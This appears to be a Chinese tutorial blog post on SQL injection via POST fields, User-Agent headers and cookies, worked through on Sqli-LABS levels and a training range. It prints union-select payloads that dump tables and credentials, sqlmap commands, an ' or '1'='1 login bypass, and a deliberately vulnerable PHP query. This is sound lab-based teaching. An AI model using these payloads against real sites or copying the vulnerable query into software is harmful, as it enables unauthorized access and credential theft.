web安全sql注入HTTP头&Post&Cookie注入

先附上一段PHP代码,了解一下基本原理


header("Content-Type: text/html; charset=utf-8");

$get=$_GET['g'];
$post=$_POST['p'];
$cookie=$_COOKIE['c'];
$request=$_REQUEST['r'];
$host=$_SERVER['HTTP_HOST'];
$user_agent=$_SERVER["HTTP_USER_AGENT"];
$ip=$_SERVER["HTTP_X_FORWARDED_FOR"];

echo $get."
"
; echo $post."
"
; echo $cookie."
"
; echo $request."
"
; echo $host."
"
; echo $user_agent."
"
; echo $ip; ?>
1.$get=$_GET['g']; //接受GET传递的值赋值给变量

web安全sql注入HTTP头&Post&Cookie注入_第1张图片

2.$post=$_POST['p']; //接受POST传递的值赋值给变量

web安全sql注入HTTP头&Post&Cookie注入_第2张图片

3.$cookie=$_COOKIE['c']; //接受COOKIE传递的值赋值给变量

web安全sql注入HTTP头&Post&Cookie注入_第3张图片

4.$request=$_REQUEST['r']; //全部接受或部分传递的值赋值给变量
php中$_REQUEST、$_POST、$_GET的区别:https://www.cnblogs.com/angel648/p/11059220.html
数据传输讲究数据传输的方式
$_REQUEST["参数"]具用$_POST["参数"] $_GET["参数"]的功能,但是$_REQUEST["参数"]比较慢
通过post和get方法提交的所有数据都可以通过$_REQUEST数组["参数"]获得

web安全sql注入HTTP头&Post&Cookie注入_第4张图片
web安全sql注入HTTP头&Post&Cookie注入_第5张图片
web安全sql注入HTTP头&Post&Cookie注入_第6张图片
post和get传参可行,cookie传参就不行

5.$host=$_SERVER['HTTP_HOST']; //接受访问数据包中的host值赋值给变量

web安全sql注入HTTP头&Post&Cookie注入_第7张图片

6.$user_agent=$_SERVER["HTTP_USER_AGENT"]; //接受访问数据包中的浏览器信息值赋值给变量

web安全sql注入HTTP头&Post&Cookie注入_第8张图片

7.$ip=$_SERVER["HTTP_X_FORWARDED_FOR"]; //接受访问数据包中的IP数据信息值赋值给变量

web安全sql注入HTTP头&Post&Cookie注入_第9张图片

利用应用场景-提交方式&接受信息
场景1:常见登录数据请求方法
场景2:常见访问者来源IP判断
场景3:常见访问者浏览器信息判断

参考:https://www.w3school.com.cn/php/php_superglobals.asp
           https://www.cnblogs.com/lushaoyan/p/11088213.html
           https://www.cnblogs.com/zhao-/p/10994615.html

SQL注入-POST注入

这里使用的Sqli-LABS靶场Less-11,打开是一个登陆界面,在登录框admin后面加单引号把它带入数据库让它报错
web安全sql注入HTTP头&Post&Cookie注入_第10张图片
web安全sql注入HTTP头&Post&Cookie注入_第11张图片
然后直接联合查询测试
web安全sql注入HTTP头&Post&Cookie注入_第12张图片
web安全sql注入HTTP头&Post&Cookie注入_第13张图片

admin%27 and 1=2 union select database(),version()
database()  //查看数据库
version() //查看版本

web安全sql注入HTTP头&Post&Cookie注入_第14张图片

爆表:admin' and 1=2 union select 1,group_concat(table_name) from 
information_schema.tables where table_schema='security' --+

表:emails,referers,uagents,users

web安全sql注入HTTP头&Post&Cookie注入_第15张图片

爆列名:admin' and 1=2 union select 1,group_concat(column_name) from 
information_schema.columns where table_name='users' --+

列名:user_id,first_name,last_name,user,password,
avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,
TOTAL_CONNECTIONS,id,username,password

web安全sql注入HTTP头&Post&Cookie注入_第16张图片

爆数据:admin' and 1=2 union select  1,group_concat(username,password) from users --+

web安全sql注入HTTP头&Post&Cookie注入_第17张图片
sqlmap post注入

python sqlmap.py -u “http://sqli-labs-master:100/Less-11/index.php” --data “uname=123&passwd=213&submit=Submit”

web安全sql注入HTTP头&Post&Cookie注入_第18张图片

python sqlmap.py -u “http://sqli-labs-master:100/Less-11/index.php” --data “uname=123&passwd=213&submit=Submit” --current-db

web安全sql注入HTTP头&Post&Cookie注入_第19张图片
sqlmap post请求数据包注入

把burp数据复制粘贴到txt记事本里面
web安全sql注入HTTP头&Post&Cookie注入_第20张图片

python sqlmap.py -r post.txt

web安全sql注入HTTP头&Post&Cookie注入_第21张图片

python sqlmap.py -r post.txt --current-db

web安全sql注入HTTP头&Post&Cookie注入_第22张图片
那么post请求数据包注入的优点就是它会根据你burp抓包的真实数据来进行注入 --data的话就是自带sqlmap的请求数据包

sql万能密码注入

漏洞代码
$user = $_POST[ 'username' ]; //接受用户输入的账号
$pass = $_POST[ 'password' ]; //接受用户输入的密码
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

如果让用户传递数据 $user = ’ or ‘1’='1
sql语句就变成

SELECT * FROM `users` WHERE user = ' ' or '1'='1' AND password = '$pass';

那么 and_真和真=真 真和假=假 or_真或真=真 真或假=真
这里 ‘1’=‘1’ 为真 就构成了一个永真 ,or永远为真 后面再构造一个#注释掉 and后面的就变成
SELECT * FROM users WHERE user = ’ ’ or ‘1’=‘1’ # //真 就能进入后台

SQL注入-HTTP头注入

这里使用的Sqli-LABS靶场Less-18,注入点在UA头上,但是尝试在X-Forwarded-For上修改ip没有反应说明不存在注入
web安全sql注入HTTP头&Post&Cookie注入_第23张图片
那么抓包在UA头上输入单引号看有报错说明带入了数据库,存在注入
web安全sql注入HTTP头&Post&Cookie注入_第24张图片
参考:https://blog.csdn.net/devilare/article/details/112764661
由于考虑要用报错注入,我直接丢sqlmap一把梭

web安全sql注入HTTP头&Post&Cookie注入_第25张图片

python sqlmap.py -r UA.txt --level 3 --current-db

在这里插入图片描述

web安全sql注入HTTP头&Post&Cookie注入_第26张图片

SQL注入-Cookie注入

这里用的是掌控安全的靶场,环境可能是Access数据库+Asp脚本语言的组合
靶场:http://59.63.200.79:8004/
web安全sql注入HTTP头&Post&Cookie注入_第27张图片
那么把后面的参数去掉,数据库报错说明存在注入
web安全sql注入HTTP头&Post&Cookie注入_第28张图片
直接order by 10 正常,说明存在10列,这里经过测试一般的注入参数被过滤,只有尝试cookie注入,使用工具ModHeader

联合查询看是否存在admin表
web安全sql注入HTTP头&Post&Cookie注入_第29张图片

存在admin表,爆字段 id=172+union+select+1,password,username,4,5,6,7,8,9,10+from+admin
web安全sql注入HTTP头&Post&Cookie注入_第30张图片

web安全sql注入HTTP头&Post&Cookie注入_第31张图片
web安全sql注入HTTP头&Post&Cookie注入_第32张图片

你可能感兴趣的:(web安全,web安全,安全)